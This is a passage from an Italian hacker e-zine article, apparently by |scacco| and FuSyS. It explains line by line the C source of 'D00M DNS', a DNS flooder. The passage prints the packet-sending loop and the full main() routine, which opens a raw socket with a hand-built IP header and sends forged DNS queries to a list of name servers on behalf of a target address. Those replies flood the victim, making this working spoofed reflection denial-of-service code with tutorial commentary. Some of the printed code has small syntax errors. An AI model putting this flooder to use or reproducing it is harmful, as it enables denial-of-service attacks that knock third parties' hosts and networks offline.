 inferiore a 0 ci comunica una impossibilita' di inviare il pacchetto.
 Analizziamo il valore che andiamo a passare alla funzione, il primo e' sdf,
 un integer che rappresenta il socket descriptor del pacchetto. Il secondo
 parametro e' il nostro pacchetto vero e proprio: infatti e' dpk che viene
 esplicitamente cotruito tramite la struttura dpk.xxx.xxx e intrinsecamente
 tramite il trasferimento della query dns nella sezione dati udp. Il parametro
 successivo specifica la lunghezza del pacchetto cioe' IP_HEAD_BASE+UDP_HEAD_BASE+len,
 mentre 0 sta a rappresentare il valore di padding, valore con il quale va
 eseguito il  riempimento, o meglio il completamento, del pacchetto. Il
 parametro successivo specifica di utilizzare come layer fisico di trasporto
 la struttura sin, incapsulando il pacchetto precedente con una lunghezza
 massima definita da sizeof(sin).
- if(shoot<0)fprintf(stderr, "SPOOF ERROR");
 Come detto precedentemente viene eseguito un controllo sull'invio del
 pacchetto tramite la variabile shoot.
- loop++;
 Viene incrementata la variabile globale loop.

Vediamo ora da che procedura viene richiamata la funzione forge:

void doomzone (void)
	unsigned long daddr;
	unsigned short source, dest;
	if(dns_def[loop]==NULL) loop =0;
	daddr=nameResolve(dns_def[loop++]);
	source=htons(1024+(rand()%2000);
	dest=htons(53);
	forge(daddr, source, dest);

Eccola qui, prima di tutto vengono definite 3 variabili, una unsigned long
di nome daddr che rappresenta ovviamente l'indirizzo di destinazione del
pacchetto, e 2 unsigned short source e dst che sono rispettivamente il target
e la porta di destinazione per il principio espresso precedentemente. dns_def
e' un array in cui sono inseriti i name server da utilizzare durante le query,
viene eseguito un controllo sul valore puntato da dns_def[loop], se
corrisponde a NULL, cioe' e' l'ultimo name server, allora loop viene settato
a 0. Ora dobbiamo ottenere l'indirizzo di destinazione tramite la funzione
nameResolve descritta precedentemente; si noti che la variabile loop viene
incrementata e nel caso peggiore in cui si abbia loop = 0 non si generera' un
errore cercando di risolvere il nome 0, ma si utilizzera' il primo indirizzo
disponibile. source come detto precedentemente rappresenta la porta locale.
Non e' importante quale sia: per questo motivo si utilizza un rand()
incatenato per non fargli restituire valore non possibili. Come detto mille
volte dest rappresenta la porta di destinazione che sara' sempre 53. Dopo
tutti questi passaggi possiamo finalmente richiamare la funzione forge
tramite gli appositi parametri.
Tutte le funzioni interessanti sono state trattate. Ora ci rimane sono da
analizzare la classica main con particolare attenzione alle istruzioni che
riguardano l'inizializzazione dei socket per capire meglio quanto detto in
precedenza.

int main(int argc, char **argv)
{
	int sfdo;
	unsigned int hz=100;
	if(argc<2) {
		fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
		exit(0);
	}
	if(argv[2]) hz=atoi(argv[2]);
	saddr=nameResolve(argv[1]);
	srand(time(NULL));
	if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		fprintf(stderr, "\nSOCK_RAW Died\n");
		exit(2);
	}
	sfdo=1;
	if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo,sizeof(sfdo)) <0) {
		fprintf(stderr, "\nIP_HDRINCL Died\n");
		exit(3);
	}
	printf("\n\033[1;32mD00M DNS\033[0m");
	printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
	printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");
	loop=0;
	while(hz--) {
		doomzone();
		printf("\033[1;34m[DNS]\033[0m");
	}
	printf("\n\n");
	return(0);
}

La variabile sfdo viene dichiarata di tipo integer e hz di tipo unsigned int
e le viene assegnato il valore di 100. La variabile hz rappresenta il numero
dei pacchetti da inviare, se nella command line non viene specificato nulla
questo valore e' 100. Successivamente viene eseguito un controllo sul numero
dei parametri della command line, se non viene specificato un target viene
restituito il messaggino d'errore. Come annunciato precedentemente viene
effettuato un controllo sul valore di argv[2], se questo non e' nullo allora
hz assume questo valore. Tramite la funzione saddr=nameResolve(argv[1]); si
ottiene l'ip dell'host target inserito nella command line. srand(time(NULL));
ehm... sorry?. Subito dopo viene generato come detto parecchie frasi fa il
descrittore del socket sdf e come parametro inseriamo AF_INET, SOCK_RAW,
IPPROTO_RAW come potete immaginare questi parametri si riferiscono al tipo di
lavoro che dobbiamo fare, il primo lo conoscete, il secondo specifica che
lavoriamo con RAW SOCKET (non avete ancora capito cosa sono?) e con il terzo
specifichiamo il tipo di protocollo da applicate ai RAW SOCKET cioe'
IPPROTO_RAW.
Se questa funzione restituisce un valore inferiore a 0 si e' verificato un
errore e il programma deve terminare. Tramite la funzione setsockopt (come
dice la prola stessa) andiamo a settare le opzioni del socket e dobbiamo
specificare il descrittore del socket stesso, il protocollo che e' IPPROTO_IP
e IP_HDRINCL, cioe' vogliamo avere il controllo dell'header ip. Qui si puo'
generare un errore (o meglio la funzione potrebbe resitituire un valore
inferiore a 0) se non si e' root, in quanto solo l'utente root puo'
controllare l'ip header (per quanto riguarda linux). printf..., printf...,
printf... ma chi sara' questo |scacco|?. La variabile loop viene settata
uguale a 0 ed inizia il loop di invio pacchetti fino a quando la variabile hz
risulta uguale a 0. Tutto finito.
Molte parti di questo testo non sono complete in quanto appositamente non mi
sono voluto dilungare sulla trattazione degli header, ma non vi preoccupate,
i piu' curiosi sappiano che non li ho abbandonati, il vostro |scacco| vi sta
preparando una serie di articoli sui protocolli. Non perdetevi tra le altre
cose l'introduzione ad internet di sh4mp00. No non ridete non e' il solito
tutorial sul netscape, sulla mail e sulle news, ma vi spiega come funziona
internet veramente.
Spero che il tutto vi sia stato gradito...
				********
Per informazioni, commenti, offese e denunce potete trovarmi a:
scacco@s0ftpj.org

					       |scacco| & FuSyS

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================